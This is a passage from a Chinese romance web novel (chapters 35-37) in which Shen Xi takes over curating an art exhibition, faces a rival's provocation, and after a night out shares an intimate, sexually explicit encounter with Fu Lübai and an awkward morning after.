沈晞也没拒绝,反正闲着就会乱想,于是麻溜的从床上爬了起来,只不过在打开衣柜换衣服时,看到那件垂挂着的衬衣时,会刻意避开,拿离它远的那几件。
大A虽然已超强姿势再次震撼圈内人士,但到底时间紧迫一个人的脑子有限,灵感偶有卡壳的时候,倒是沈晞闲人一个非常松弛,点子就很轻松且不负责任的往外冒。
大A大手一挥,让她直接负责这一个展,沈晞人都傻了,说:“我又不会,我又没学过!”
大A理所当然的说:“这要学什么,你刚刚说的,你就是会了,去吧!”
说完把车钥匙给她一扔,就把人给推了出去。
沈晞扒着玻璃门往里面吼:“你给我车钥匙干什么!我又不会开车!”
“哦,那你叫个代价。”大A在里面盘着腿,边冥思苦想边头也没抬的,非常不负责任的说。
沈晞:“???”
沈晞深吸了一口气,“不是,这不是你的展么?!我来算怎么个事?!”
大A仍如老僧入定般,冲着她气定神闲的说:“简单,给你弄个名就行了,放心哈,我不窃取创意。”
“不是!这是重点么?”
大A问:“那是什么个事?”
沈晞被她问住了,嘴张了张半天没说出话来。
不是,她怎么就从打下手的变成了管策划的了?
但大A似乎真忙不过来了,沈晞就这么推着推着的,还真就弄了起来。上手不太容易,毕竟她就是个外行,她就是不懂。
所以她就找大A问,反正你把摊子交给我的,那我就得问你。
大A被她问的烦,但又好像确实发不起火来。
被她磨的没办法,甚至觉得自己做都或许比这样节约时间。
但不得不说,沈晞这个小脑袋瓜子真灵啊,真有东西。
就这样,沈晞被半推半就的完成了一个作品的展出策划。说好了挂她的名字,但沈晞觉得自己不会入这行,叫个大名也怪别扭,而且一般像他们这种搞艺术的,都爱给自己弄个行走江湖的艺名,沈晞大笔一挥也给自己弄了一个。
大A好奇的问:“叫什么?”
沈晞拿着放在一旁勾勾画画的马克笔,在纸上唰唰几笔写完,非常的潇洒。
大A以为是什么惊世名字,低头一看,不由的翻了个白眼。
A四纸的正中央,飘逸的落下两个黑色字母——SX。
大A指了指她,“懒死你得了。”
然而这么说着,转头就又让她去采购,好像一秒钟就把自己说过的话忘了。
还忘得毫无心理压力。
沈晞到了采购市场才回过味来,自己是有什么把柄在她身上么,这么听她的话!
她转头就走,走到门口,却被人堵了一下。
没礼貌!
又觉得有点眼熟,过了两秒才想起来,这不是那天差点被她爆头的大汉么。
这个大汉显然也早就认出了她,看神情多少有点挑衅的意味。
不但如此,下一秒,沈晞就知道他是真的故意来找事的。
刚刚她看过的东西,那个大汉一一点着说自己要了。
这就让要走的沈晞不想走了。
你来抢我东西算是怎么个事。
她不紧不慢的又走了回去,坐到了中间的椅子上,采购市场嘛也没那么讲究,这小椅子都有点掉漆了,但是沈晞两腿交叠翘起,生生造作出了个优雅,对着老板说:“老板,这些东西,我刚刚可是先要了啊。”
老板明显为难,对着大汉说:“是这位小姐先要的,您看我调货,明天,明天再给您送过去成么?”
大汉的体型和神情看上去就不好惹,多少给了老板些压力。
大汉顿时眉毛竖起,“她哪要了?她不是要走了么?就算是她要了,今天这货也得先给我,我急用,我给你开双倍价。”
老板表情顿时有些动摇了,有些不好意思开口的看向沈晞。
大汉也挑衅的看着沈晞。
沈晞没动,也没开口。
老板被这样一激,心里的那点不好意思顿时转向了理直气壮,理都没理沈晞,直接对着大汉说:“那您写一下收货地址,我等会就给您送过去。”
大汉得意的,写着自己的地址,甚至落笔都带着声音,像是胜利者的叫嚣。
直到地址写完的最后落笔,沈晞才不紧不慢的开了口,一双漂亮的眼睛凝着老板,“老板,先来后到,您就是这么做生意的?”
老板面上有些挂不住,但嘴上还是说着,“你又没说要,不能占着不放啊,人家开口了,我总得做生意吧。”
“我说不要了么?”沈晞心平气和,一字一句都落的很稳,听上去就带着几分掷地有声的质问,“我是不是一个个都点下了说要?”
老板嗫嚅了下,底气有点不足,“那你不是都走了么。”
“我走出你店了么?我出去打个电话都不行?”沈晞气笑了,她是想出去逗逗大A故意和她拉扯一波,耍耍小脾气的,但也没打算被人截胡。
现在真是,把这批货要回来,让这样的老板赚钱不爽,但是让这个明显着就是故意挑衅的大汉如意也很不爽。
左右都憋屈的很,而且这批货,别的店可能没有。
当时大A就说,要的这东西别的店不大有,你就直接去这。
还老客户呢,什么人啊。
在这让不讲道义的老板赚
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钱是不可能了,让大汉多花一倍钱倒是还能让她舒服点。
她冲着冤大头冷笑了声,直接走出了店里。
大汉被她笑弄得愣了下,有点发懵。这和他想想中的极其败坏的落走不一样,现在姑且算她是败走,但总归和自己想象中的效果不一样,就有点不爽。
还多花了一倍的钱!
在老板笑盈盈的目光中,大汉有点不爽的说:“不买了。”
转身就要走。
老板急了,“你怎么这样啊!不是说好的么!”
“许你出尔反尔就不许我改变主意?”大汉冷笑了下,“怎么还想强买强卖啊?”
在大汉的冷眼下,老板心不甘情不愿的收回了手。
……
沈晞蹲在门口轻吐了口气,如果她会吸烟,这个时候一定会来一根来应景。
她绕完了这一片所有的供货店,还真没有大A要的那些东西。
她轻踢了下脚边的小石子,也真是的,为什么非要搞这么难搞的东西啊!
这样会显得比较有逼格么!
吐槽归吐槽,她拿出电话来,打算给大A先汇报一下情况。这事虽然好像不该她办,但是交给她了,没办好就是没办好,得先想处理办法。
尤其是那个大汉,搞这么一出,不就是看大A在业内风生水起的,想让她在最受关注的时候重重一击,让她拿不出好的作品来么。
沈晞轻啐了一口,早知道刚刚不争那口气了。
正要拨通电话,最后一家店的老板却忽然从店里急匆匆的跑出来,跟她说:“有货了有货了。”
“有货了?”沈晞惊喜又诧异的问,“刚刚不是还说调不过来么?”
“那边一听是个大单子,优先给调货了。”老板笑的一团和气。
沈晞不疑有他,有货了当然是好事,笑的眉眼弯弯,“那谢谢啦老板。”
老板被笑的一怔,这姑娘笑起来可真养眼,确实值得被人暗中打点。
-
GUHIJ的包厢里,灯光柔和静谧,不像酒吧倒像是什么修身养性的瑜伽馆。
禹开然接完一通电话,看了眼坐在沙发里的人,不像别人,会直接懒散的陷进去,傅律白也是松散的,但即使这样脊背也是直的,让人看上去就很像那么回事,很可靠。
此时双腿交叠着,单手拿着杯酒,大抵是刚喝完要往回放,手腕微垂着,能看出好看的腕骨,不过眼睑也跟着微垂,让人看不清里面的情绪。
禹开然走过去,低声说:“已经办妥了,货正往店里拉呢。”
杯子放在桌子上,发出轻轻闷响,傅律白看着杯中于半微晃的酒,不知道在想些什么,过了几秒才轻“嗯”了声算是应了。
气氛有些压抑的凝固。
禹开然是个急性子,憋了这么多天,这会儿终于忍不住开了口,“三哥,你要是真喜欢,就留在身边呗,你什么给不了她,总归不会委屈了她。”
他这话一出,旁边的程开霁赶紧对他使眼色。
傅律白抬眸看了眼他,又看到程开霁递过来的眼神,轻笑了下。
他以为的不动声色,可原来,即使是他,感情这种东西也藏不住。
然后,又轻笑了下,看着禹开然说:“我能给她什么?有点钱有点权利地位,你以为挺不错的东西,可人家不想要。她想要的,我给不了。”
禹开然心想,那是有点么。
傅律白轻笑了下,没有再说什么,转着酒杯又轻喝了一口,只不过这浅笑怎么看都带着点落寞。
他没有想到,这姑娘的离开是因为这样。
他当时只是想着对她再好一点,既然不能耽误了人家,尽情的对她好一点总无伤大雅。可却也忘了,这样的对待下,也很容易让对方产生感情的。
所以她清醒的做出了选择。
和他当时的选择一样。
这个认知,竟然让他有些愉悦。在某种程度上的契合。
可下一秒,他唇角的弧度却又不由的紧抿。
是他让她落荒而逃的,她出走的原因,是因为他。
走廊里。
禹开然被程开霁勾着肩压了出来,直到没人的地方才放开。
脸色有些不虞道:“你刚才说的什么话,这个时候你让他搞什么感情,没一两年了。”
禹开然浑不在意的轻靠在墙上,“就是因为没一两年就得联姻,总得在这之前,让三哥感受一把什么是感情吧。”
“感受起来干嘛?到时候多麻烦多难受?”程开霁非常不赞同,“感情不是你受。”
“咱们这个圈子,大家谁不得受?”禹开然轻笑着反问,又拿出根烟来叼进嘴里,有些散漫的说:“再说圈子里的人,谁没看出来?不说就代表不存在么?宜疏不宜堵,也许过了这个劲儿就没事了。”
程开霁猛然一震,可又觉得,当真点破了就能过劲儿么?
是不是一直没开始,才会没那么强烈,淡着淡着也就淡了。
看三哥的意思,好像就是打算这么淡下去了,这多少让他松了口气。
他跟禹开然那个体验主义不一样,这实在是太冒险。
啧,禹家这代人,怎么把这么不靠谱的人送三哥身边来了。
36. 第 36 章
沈晞回去后将这件事说给大A听,大A顿时告诉了其他人,所有人这段时间都全程戒备着,以防那个酸逼再搞出些什么来。
但奇怪的,那人倒是安静了下来,直到一切就绪策展继续展开,都没弄出动静来。这让所有人更加紧张,觉得策展当天他一定会来个大的。
甚至几个人围坐在一起,头对头的连夜商量了半天可能出现情况的紧急对策来。
甚至有人提议,是不是要召开个记者发布会什么的,提前买通营销号。
大A头疼的直敲他的头,“有病啊,我是什么大人物么,还记者发布会。”
出主意的小弟被敲的抱头直躲。
大A叹了口气,又说:“整点保安就行了。”
沈晞吓了一跳,“他不会敢这么乱来吧?”
“以防万一。”大A疲惫的说着,像是老了十岁。
第二天,所有人都顶着两个黑眼圈到了展场,好在今天被展示的作品们才是主角,他们不需要出场,不然真的怕被参观者举报,说他们吸食了什么禁用的东西。
但他们也没放松,就顶着熊猫眼分站在各个主要的进出口,还一个个在腰中别了个对讲机,如果发现有可疑人物,直接呼叫保安。
就这么严阵以待了小一天的时间,直到展览圆满结束,都没有任何事情发生,顺利的都让他们有点恍惚。
大A茫然的问:“结束了?”
沈晞也有点难以置信,但还是很肯定的点了点头。
之后他们才得知,那个人不知道怎么,忽然从圈内销声匿迹,之后去了哪里在干什么也都再无人知晓。
只不过此时的大A足以兴奋的“嗷”一嗓子,把对讲机摘下来往桌子上一扔,“走走走,必须去庆祝,不喝到天亮谁都不许回去!”
大约是上次听从沈晞建议创新换地方给她留下了非常不愉快的体验,所以这次大A还是选择了自己的舒适圈,并且转头和沈晞说:“你可别想劝,这次说什么也不换地儿了!”
酒吧啊……
也没想劝。
她眼睛转了转,不知道在想些什么,但还是装作挺勉为其难真拿你没办法的样子说:“唉,行吧,那就去吧。”
好巧不巧的,大A把地点选在了GUHIJ。
坐在卡座里时,沈晞几乎下意识地的往楼上看了一眼。
大A拿着手机下完单刚好看到,探头过去问:“看什么呢?”
沈晞莫名一慌,脸上却不动声色,“没什么。”
随后垂着眸,兀自自嘲般轻笑了下。GUHIJ他来过一次,又不代表他总会来,他又不是个酒鬼,也不是沉迷角色生活的人。
美人怎么笑都是个美人,笑的周围人即使认识她这么久,也还是晃了神。
大A说的不醉不归,但沈晞并没有喝太多,她并不喜欢喝醉的感觉,也不舒服,等她再抬起头来时,人都倒下了一片,横七竖八的,大A还将一条腿压在了她的腿上。
有点想去洗手间的沈晞:“……”
她扶额轻叹了口气,有些费力的将大A的腿抬了下去,即使控制着可站起来时也还是有些头晕。
这种感觉在从洗手间出来后,越发的明显,不知道是不是因为一蹲一起的原因,她不由的扶着墙缓解,忽然胳膊一紧,被人半扶半托的攥住。
沈晞下意识的抬头,就看见了那张她不知是想见还是不想见的脸。
他垂眸看着她,眉心微蹙似是带着几分气恼的责问,可最后也只轻叹了口气,听在耳边似乎有很多复杂的情绪,让人听不懂。
开口时却也只是说:“我叫人送你回去。”
沈晞不想管他那些情绪是什么,她现在的脑子不太清醒,转动一下就晕晕乎乎的疼,分析不了太复杂的东西。但也没忘记自己不久前下定的决定。
她转过身来,整个人像是没骨头一样的软,傅律白吓了一跳以为她要倒,扶着她的手更加往前托了托,几乎半揽着她。
沈晞却整个人懒洋洋的靠在光滑微凉的墙壁上,仰着头看着他,她喝了酒脸上都带着抹艳丽,向来灵动的眸子更是媚眼如丝,“怎么不是你送我?你不能送我么?”
傅律白大概也觉得她奇怪,出尔反尔,看着她顿了顿,那双总是温淡的眸都因为她渐渐生出了墨般的深色,声音却还是清清冷冷的有秩序感,“你醉了。”
沈晞看着他,眼神异常清醒,“我没醉。”
她是真的没醉,只是人有点站不住,但脑子还没乱。
傅律白沉沉地看着她,大概是在纠结是否要和一个醉酒的人讨论“醉没醉”的问题,这显然不符合他的性子,连眉心都微拧了起来。
沈晞便这样肆无忌惮的看着他,借着微微的醉意,她越发的肆无忌惮,连对自己,对他的那份心意都不在抵抗。
坦然的承认着。
她好喜欢看他因为自己,有着这样情绪波动的样子,即使是这样细微的拧眉,都会让她感到愉悦,而嘴角带着浅浅微笑的弧度。
这样便越发的放松,人更加舒服的往后靠了靠,但是墙壁实在是太滑,她还真的差点滑了下去。好在傅律白眼疾手快,揽住了她的腰,制止住了她下滑的趋势。
大概拿她没办法,傅先生心有昆仑不和醉酒的人一般见识,办扶办揽的将人带进了车里,亲自送她回去。
沈晞就这样肆无忌惮的靠在他的肩上,再也不和自己较劲拉扯,认输般的找了个舒服的姿势。
他的肩头真的很宽,也很可靠,很有安全感。
任由酒吧中来往熙攘的人群目送他们,就这样走出去。
到了车子里,沈晞也是耍无赖般的靠着他的,可谁也没有说话。
沈晞是不想说,就这样挺好,她很喜欢现在这样的状态与氛围,以及不再较劲的自己。
傅律白则是不知道和一个醉酒的人说些什么。也不知道,他是否应该替她坚守着她的决定,她现在不清醒,而他是清醒的。
不清醒的人,意志力总会下降,做出些不应该做的事来,他有责任和义务为她拨乱反正的。
大概是车厢中的空气太过安静,安静的近乎诡异与窒息。傅律白无意识的轻叹了口气,却被前面的田师傅听到,田师傅看向后视镜,低声试探着问:“先生,要放些音乐么?”
傅律白轻点了下头,这微微的浮动让肩上的人也微微向下滑动了下,沈晞不满的往前贴着他的肩和侧近像猫一样又轻蹭了蹭。
让傅律白顿时头皮都有些发麻,他垂在另一侧的手不由的握紧。
音乐在这一刻响了起来,轻轻柔柔声音并不大,是莫文蔚的那首《初恋》,当初这车总接沈晞,她往里面录了不少歌,傅律白是没有听歌的习惯的,她走以后就没再打开过。
独有的微哑又清甜欢快的声音在耳边响起,沈晞靠在他的肩上静静地听着。
爱恋没经验/
今天初发现/
遥遥共他见一面/
那份快乐太新鲜……
沈晞听着听着,就又想起,无论之后莫文蔚又如何的复刻,都再也唱不出当时随口哼出的感觉,因为早已时过境迁,有些事只有当时当刻,过去了就再也没可能了。
沈晞不喜欢这样没有尝试,就无声无息结束的遗憾,单是想想她就眼眶发酸的接受不了。
她扭着身,单手撑在皮质的座椅上,整个人贴向他,另一只手扶上他的脸,闭着眼睛带着三分醉意如痴如幻的吻了上去。
却落了个空,被傅律白躲了过去。
沈晞睁开眼睛的那一瞬,眼睛里便蓄了泪,带着几分委屈带着几分不甘的看着他。
傅律白被那双眼睛看的心口一窒,又闷又疼,震撼的他几乎被钉在那里,再也动不了分毫。
他几乎想也未想的,扶住她的后脑,便吻了上去。
沈晞被吻的愣了下,她没想到他回再吻回来,有种失而复得的感觉,让她想喜极而泣,可也不知道是不是委屈更多一点,她的眼角慢慢溢出眼泪来,缓缓的滑进发丝里。等这段儿情绪过了,她开始不满足的回吻过去,想要汲取更多。
其实傅律白吻的很温柔,但到底是男人,也带着压抑抑制的情绪在,再怎么样,她都有些招架不住,可她还是回应着,不甘的尽力的回吻着他,就像在这段感情里她的态度。
她从不想做那个被动的人,哪怕从不会平等,她也不会只一味的被动接受所给予的。
但到底体力相差的太悬殊,在沈晞快要呼吸不过来时,傅律白停了下来,沈晞本就喝了酒的头晕,此时更加坐不住的软软靠在他怀里,头抵在他的肩上,大口大口的喘着气。
傅律白也有些微喘,等她呼吸平复了些,傅律白托着她的脸,四根手指抵在她的侧颈上,拇指在她脸上轻轻摩挲着,带着几分压抑和沉痛的看着她,哑声问:“你知不知道自己在干什么?”
沈晞一错不错的看着他,带着几分倔强和清醒的说:“我知道。”
傅律白没有说话,看着她的眸色越发的深,在她忽然吻过来时,他几乎是用着全部的意志力躲开的,脑子里想的是——她现在醉了,她当初已经做了决定离开了,并且还在不久前,更加压抑和克制的和自己说,让他别对她那么好了。
他不应该再增加她的挣扎与痛苦,对她最好的做法,就是从她的生活里消失。所以那之后,即使她出事,他也只是让别人默默地出手。
可在他躲开的下一秒,她看到她委屈的转着泪花的眼睛,什么自制力就都没了,脑子里只有一个声音,去吻她,别再让她哭了。
傅律白在心底无声却重重的叹了口气,他不知道她明天清醒过来时,会不会后悔,会不会陷得更深更加的难过,而更加的埋怨他。
——因为他是清醒的,本可以、也有责任阻止,却在助纣为虐。
车子在此时停到了沈晞楼下,沈晞这才发现遮挡板不知何时被田师傅落了下来,她开始后知后觉觉得有些羞耻,可却也更加提醒了她刚刚所发生的事。
她和傅律白在接吻。
准确的说,是傅律白又主动吻过来的。
傅律白并不是那种,对于别人投怀送抱就来者不拒的人,她知道他的品行,不然也不会这样上头。
傅律白对她,至少是有点感觉的。
这就够了。
她看向他,带着几分恰到好处的醉意与兴奋的放肆,说:“你衣服还在我这儿,拿给你?”
说是“拿给”,但却视线微微往窗外扬,是个邀请、让他自己上去拿的意思。
这到不是装的,她确实有点醉后兴奋,可以控制,但她却任由其放大。
傅律白看着她,深觉自己不应该上去。
但沈晞已经打开了车门,脚步不怎么稳,肢体幅度却很大,又很舒展的放松,如果长了翅膀,他觉得她下一秒就得飘飘然的飞走。
傅律白没什么表情的打开自己这侧的门,大步走了过去,扶住她。
她大概是故意等他来扶的,才被扶住,便又没骨头一样的靠在他的身上,很会给自己省力气。
到门口时,她倒是能自己拿出钥匙来,打开了门,还不忘换鞋子。
她低头弯腰时,傅律白都在一旁做着她随时会晃倒去扶她的准备,但她却很稳。
走进自己卧室的脚步也很稳……
也不稳,每一步,都走得很摇曳生姿,像是脚底生出步步莲花。
傅律白眸子不由的发深。
他是真的很绅士,不放心的跟在身后两步,随时
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可以扶住她的距离,但等她走进卧室,他却在卧室门口停住了脚步。
不进来是吧。
沈晞轻挑了下眉眼,打开衣柜,嘴角带着几分浅笑,这一刻她就像是要搞坏事的小狐狸,又像是一切尽在掌握之中势在必得的王女。
打开的衣柜挡住了从门口看过来的大部分视线,宽大的柜门也完全挡住了那薄薄一片的身形。
“啊——”
微微一小声带着几分惊慌却压抑控制的惊呼,伴随着轻轻的什么落地撞击声,在这一刻就格外的清晰明显,轻易就牵动了傅律白的神经。
他大步走了进来,看着那浅白色裙角在自己视野中越来越多时,紧绷的精神才微微松下来,脚步不由的更加加快,可下一秒,他走到衣柜两步远时,在他还没看清是怎么回事时,却被直接一道温软扑了过来。
力气很大,让他直接撞到了衣柜里,才挺了下来,却也不忘下意识扶着怀里的人。
那件一直挂在衣柜深处、他的白色衬衣也在此时滑落,掉到地上。
还未看清眼前的人,却已经被眼前的人勾住脖子,再一次的欺身吻了过来。
他被禁锢在夹层的空隙中间,并不怎么好发力,前面有被她这样按着,他当然可以大力推开她,但这样的姿势他并控制不好力度,后面就是床脚,很容易就会伤到她。
他在这里举步维艰,沈晞却已经开始更加的肆无忌惮,完完全全的贴在她的怀里,两个人的重量只靠他吃不上力斜着的腿支撑她也不管,只专注且快乐得意的吻他。
像是怕过了这村就没这店一样,勾着他的脖子,一下一下的吻着。
这样欣喜又不顾一切的吻法,哪怕傅律白是个圣人也抵挡不住,更何况他的心本早已就不清白。他脚下撑着地,用着力,同时回抱住她,用着这个力,边吻着她慢慢边将两个人的重心改变。
沈晞当然是支撑不住两个人的重量的,顺着惯性的慢慢往后倒下去,傅律白也只够捞着她的腰将两人的倒势减慢。
在脊背触及到床上的那一刻,沈晞不由的全身微缩,像是有一道电流从大脑一路顺道脊背上,让她不由的弓起身来,这个动作则让她抱着身前男人的脖子更紧了,从而也更加拉进了两个人的距离,吻的更加的紧迫。
好似谁都不肯认输,又好似争分夺秒,好似什么也都不在管顾,只有此时的吻、面前的人是真的。
两个人的呼吸开始变乱,眼神也开始变乱,大抵一切都开始变乱,世界上再也没有其他的声音,窗外的鸣笛声、楼下行人的交谈声都已经不存在,房间里只余两个人混乱又粘稠的呼吸声。
已经完全停不下来,沈晞房间里自然不会有那些东西,傅律白当然也不会将那种东西随身携带,傅律白只得继续吻她,从唇一路向下,从未被别人触及过的地方被这样温柔的轻吻,才一下,沈晞便已经控制不住的带着哭腔的弓起了腰,这种感觉很陌生,陌生的让她觉得无措,此时发出的声音更加的让她羞耻和无措,只茫然又无助的看他。
傅律白轻抚着她的背,柔声安抚着,“没关系茜茜,很好听,这是正常的,放松一点。”
沈晞不知道怎么放松,她的脊背已经绷到最紧,这样身体完全失去掌控的感觉很让她崩溃,可是却又不想放开他,还没在大脑一片空白时她就已经开始哭了,等大脑出现一片白光后,她更是瘫软着身子哭的一塌糊涂。
她这样的反应让傅律白有些无措,又有些心疼,轻笑着过来将人抱在怀里,想吻吻她安抚。
可沈晞还没忘记他刚刚吻过哪里,躲着避开了。
傅律白愣了下,笑的更加欢愉,嗓音里还带着几分沙哑的慵懒,在这一刻很是勾人,“连自己都嫌弃?”
但沈晞却没被勾到,只觉得更加的羞耻,“你别说话。”
可这一开口,却被自己的声音吓到了,甜软黏腻的不像话,让她本就红晕未消的脸羞耻的更加红了。
傅律白真的爱死了她这个样子,没忍住的直接亲了过来,却也还是照顾着她的情绪,没有直接亲嘴,而是亲了亲鼻尖和嘴角。
沈晞背过身去,将自己的脸缩进被子里。
下一秒,却感觉身后紧贴着的有些不对劲。
傅律白脸蹭在她的颈窝间,热腾腾的声音带着刚刚勾人的慵懒沙哑从头顶上方传来,“帮帮我。”
说着,就带着她的手往下。
……
沈晞已经完全没有了力气,她不知道为什么只是这样都可以这么累,傅律白将人抱进怀里,从后撑着她的身体,她的手也已经酸的不像样子,提不出半点力气来,傅律白将她的手揽进自己的手中,帮着她用力,沈晞直勾勾的看着这个画面,一时间分不清是看呆了,还是被视觉冲击的忘记了不再看,她只觉得自己的手渐渐地开始握不住,指尖分不清是汗还是别的什么,傅律白时不时的侧过头来亲她,她不由得再次带起了哭腔,问:“怎么还没好?”
也就是这一下,傅律白吻她吻的更深了,随后她听到了闷闷一声轻喘,沈晞泄了力一般躺进了他的怀里。
傅律白看着怀里梨花带雨的人,一边用指腹轻擦着她的泪,一边好笑的问:“怎么这样你也哭?”
又不是他在对她做什么。
沈晞也说不清楚,她只是觉得很失控,从身体到情绪全都很失控。
傅律白抱她抱的更紧了,让她将脸贴在自己怀里,像是抱小朋友那样抱着她,轻摸着她的头,柔声轻哄着,“别哭了。”
可是他越是这样,沈晞就越想哭,泪水顺着眼角一路流进发丝里,和细汗融为一体。
窗外的车水马龙呼啸而过声,楼下小孩子被家长训斥声,风吹树叶的簌簌声都重新回归,世界又近在眼前,一切都那样的清晰。
37. 第 37 章
阳光高高的挂在空中,顺着窗户打进来,斜斜的照在柔软的床上。
沈晞醒过来,空气间好像还留着某些暧昧甜腻的味道,身侧已经空了,连余温都不在,也不知他是昨夜就走了,还是今早早早就离开。
她的神情微顿,看着空空的一侧微微有些发呆。
后又收回视线,唇角带着抹轻嘲的笑意,这多正常,也并未让她感到意外。
却又瞥见枕头上还落有一根黑色微粗的短发,和惯常的、落在周围有些细软的长发形成了鲜明的对比,让她的目光再次不由的顿住,有些突兀的出神。
她床上自然是没有多余的枕头的,压在柜子里的某处似乎还一个在某次商场抽奖活动时抽到的、被她随手一丢并不怎么舒适的羽毛枕,她昨夜,连自己什么时候睡着的都不知道,最后的记忆,也只停留在他帮她做清理,模糊且零碎。
不过就算她还是清醒着的,她也一定不会有精力再去帮他找枕头。
她有个迷迷糊糊大概的感觉,她好像是枕着他的胳膊睡得,枕头被他占用。
现在,她躺回了枕头上。
除了多了两根头发,似乎一切都又回到了正轨。
就在这时,卧室的门忽然从外被人打开,或许是怕吵醒里面的人,动作很轻,以至于门开动的过程都像是一帧帧开了慢放键,沈晞一错不错的看着。
傅律白的身影就这样出现在了她的眼中。
“醒了?”傅律白看着躺在床上已经睁开眼的人,动作明显松弛了些,不再那样控着力。
沈晞仍在那样看着他,带着几分怔愣的意外。
傅律白却以为她仍没睡醒,带着几分慵懒地笑声问:“那是再睡会儿,还是先吃点早饭?我买了早餐。”
这笑声里,带着几分调侃,和只有彼此知道的暧昧,听起来便像是隐晦的调情了。
原来他没走,竟然还去买了早饭。
这样的认知让沈晞的心脏不由的轻跳了下,也回过些神来,开始后知后觉为他刚刚带着笑的暧昧语调而有些羞赧的不好意思。
也是这时才发现,他换了一身更加休闲的白色衬衣,至于昨天那身,已经皱的没法要。是他叫人送来的么?叫的田师傅?还是谁?
他在她这里过了夜,又要了干净的衣物,那边的人不用猜都知道发生了什么。
沈晞的脸开始持续发烫,昨夜里,那些个明明已经模糊凌乱又破碎的画面,此时竟然开始清晰的、甚至连极致的细节都浮现在脑海中,就连那暖烘烘的温度、时浅时重的喘息声都变得清晰。
空气仿佛又变得凝固甜腻起来。
见她不语,傅律白走过来,觉得好笑又有耐心的轻“嗯”了声又问了一遍。
他这声“嗯”和昨夜记忆里的某个声音重合,其实是不一样的,却又不得不勾起了沈晞的某个画面。
她的全身都开始变得滚烫起来,在他走到床头的那一刻,沈晞快速的将被子梦到脸上,带着些慌乱的快速的说:“我、我还要再睡会儿。”
她现在实在是没有什么心理建设的可以和他面对面的、坐在一起吃饭,单是面对面的也不行。
闷声闷气的声音透过被子传出来,傅律白不由侧头轻勾了下唇。
沈晞抓着被子,做着缩头乌龟,逃避虽然可耻,但是有用,不仅做着乌龟,还做着长着兔子耳朵的乌龟,将耳朵长长的竖起,仔细的听着外面的动静。
很安静。
她又把耳朵侧了侧,努力贴在被子上,还是什么都听不到。
这是……走了?
被子里的空气越来越稀薄,沈晞终于狐疑的慢慢地掀开了被子,探出脑袋来。才掀开一半,就见傅律白有些松懒的站在原地,有些好整以暇的看着她,带着几分微笑的说:“这是,又不困了?”
“困的!”沈晞又飞快的将脸埋进被子里。
啊啊啊啊啊啊!
傅律白看着床上又安稳跟躺尸一样隆起的一小长条,嘴角的微笑又扩大了几分。
怕她把自己闷坏,不再逗她的说:“那我先去吃早点,你再睡会儿。”
这样子的对话,像极了事后,让沈晞有些尴尬的开不了口应“好”,却也不忘点头回应他,怕他会不出去。
傅律白看着被子里跟小鸡啄米似的人,终于忍不住轻笑出了声。
怕她接受不了,更加的不好意思,没再停留的便轻步离开了,关门时,还故意出了些不轻不重的声音,让她知道自己已经离开。
听到关门声,沈晞长长的松了口气,又很保守的等了一分钟,才试探性的将被子拉了下来,环视了一波,又侧头看了看门已经紧闭。
过了两秒,又被自己这个动作笑道,难道他还会悄悄开个门缝偷偷看自己不成,都不知道自己怎么想的。
她终于可以放松的成“大”字般躺在床上,过了几秒钟又想起什么。
等等,他刚刚是笑了么?
出去是不可能出去的,实在是不知道怎么面对他,至少今天不行,反正她惯常咸鱼摆烂,随机而动也不是不行。
昨天她喝了点酒,就是想这么做,就做了。
也算不上冲动,毕竟之前就想好了。
就是没想到会这么顺利。
算是顺利吧,虽然没到最后那步,主要是家里没东西……
啊啊啊啊!停下,不能再往下想了!
对,没想到会这么顺利,所以也没怎么想后续,其实也没想过后续,她目前确实没想好,但主要,也得看看傅律白的意思。
所以现在,躺平摆烂最好不过。
就在沈晞这样咸鱼躺平真的再次快要睡着时,门再次被打开,好在这次她反应及时,几乎条件反射般就将被子盖到了脸上,做出自己真的就是在保持原样睡着的样子。
傅律白自然知道她没睡,也没拆穿,却也还是来打声招呼,“茜茜,我得去办点事,等办完我再来找你。”
大概有些急,说完,也不再停留,便转身离开。
听到不轻不重的关门声时,沈晞将被子掀开,露出脑袋,彻底松了口气的同时,情绪似乎也随着那轻轻的关门声,一泻千里的长久落了下去。
傅律白这一走,很久没有露过面。
离开后的第二天,沈晞才收到他发来的消息。
很惯常的语气,大概说他才暂时忙完,此时在吃晚饭。
可沈晞看时间,已经是晚上十点多。不知他此时是否是在国内,还是真忙到了现在才吃。
她一直都知道,傅律白风光的背后,其实也并不容易,所有风光的背后都必须有相应的实力与压力去支撑,只不过他现在伪装的很好,外人看来他总是松弛悠闲的。
好平常的信息,如果没有中间那长长的安静与断联,她甚至觉得好像什么都没有变。
其实她离开的那段时间,也并未将他拉黑,那样会显得太刻意,而傅律白,也只在找过她三次后,便很有分寸的不再发信息给她,彼此间都有着成年人的心知肚明。
沈晞此时看着现在的信息,不知道要回些什么,最终轻敲敲了屏幕,礼貌的回了个[哦],表示已知晓。
他那边大概是真的不忙了,很快便反回了她一个:[哦?]
只不过是带着问号,好像对她这个回复并不怎么满意,但到底她好像还是没办法像以前那样和他开玩笑,沈晞并没有再接话,默默地退出了界面去刷别的,可到底还是分了两分心在那边,但到底那边也没有再有新的消息进来。
之后的几天里,傅律白都很安静,直到一周后,沈晞走出大A的工作室时,才看到那辆熟悉的黑色奔驰车,安安静静又沉默的停在路边,亦如他的人一样温淡又沉静。
她不由得加快脚步,身体已经比大脑先做出选择的有些迫不及待的走向他。
走到车旁,车门自动从里面打开时,她才后知后觉的回过神来,却也没矜持做作的放不开,直接大大方方的坐了进去。
一进去,便见傅律白目光淡淡地看着她,并不算灼热,他的眼中大概永远不会出现这样的神情,这样的眼神和他实在是太不相符,就算是那日……
她不太能回想,但也终归不是那种,情绪写满满脸和普通男人情欲上头时,所展露的最原始又最地略的样子,他似乎总是淡淡地带着某种秩序般掌控的样子,令人心颤的痴迷。
沈晞被他看的有些不自在,同时也发现,几日不见,他似乎瘦了一点,不知道是不是错觉,她微微挑开个话题,这样的沉默会让那种不自在加深,“你怎么来了?”
“接你吃个饭。”傅律白说。
还是很熟悉的对话,毕竟他之前,也总是来接她去吃各式各样的饭,他们缄默不言就好像真的什么都没变。
沈晞也没问他,他怎么会知道自己在这里,毕竟傅先生想知道一个人在哪儿,实在是再简单不过的事,那日大A问她有没有兴趣做策展,她答应后,在傅律白走后便来了这里。
有了上一次的实操经验,此时只不过开始跟着大A系统的感受一下更核心的底层的逻辑。
她也并未问要去哪里吃,反正傅律白是个会享受的,他带去的地方,这么多次,都未让人失望过。只不过车子行驶中途,傅律白接了通电话,那边寥寥几句不知道说了些什么,傅律白也只在最后鼻息轻应了声,而后侧头来看她。
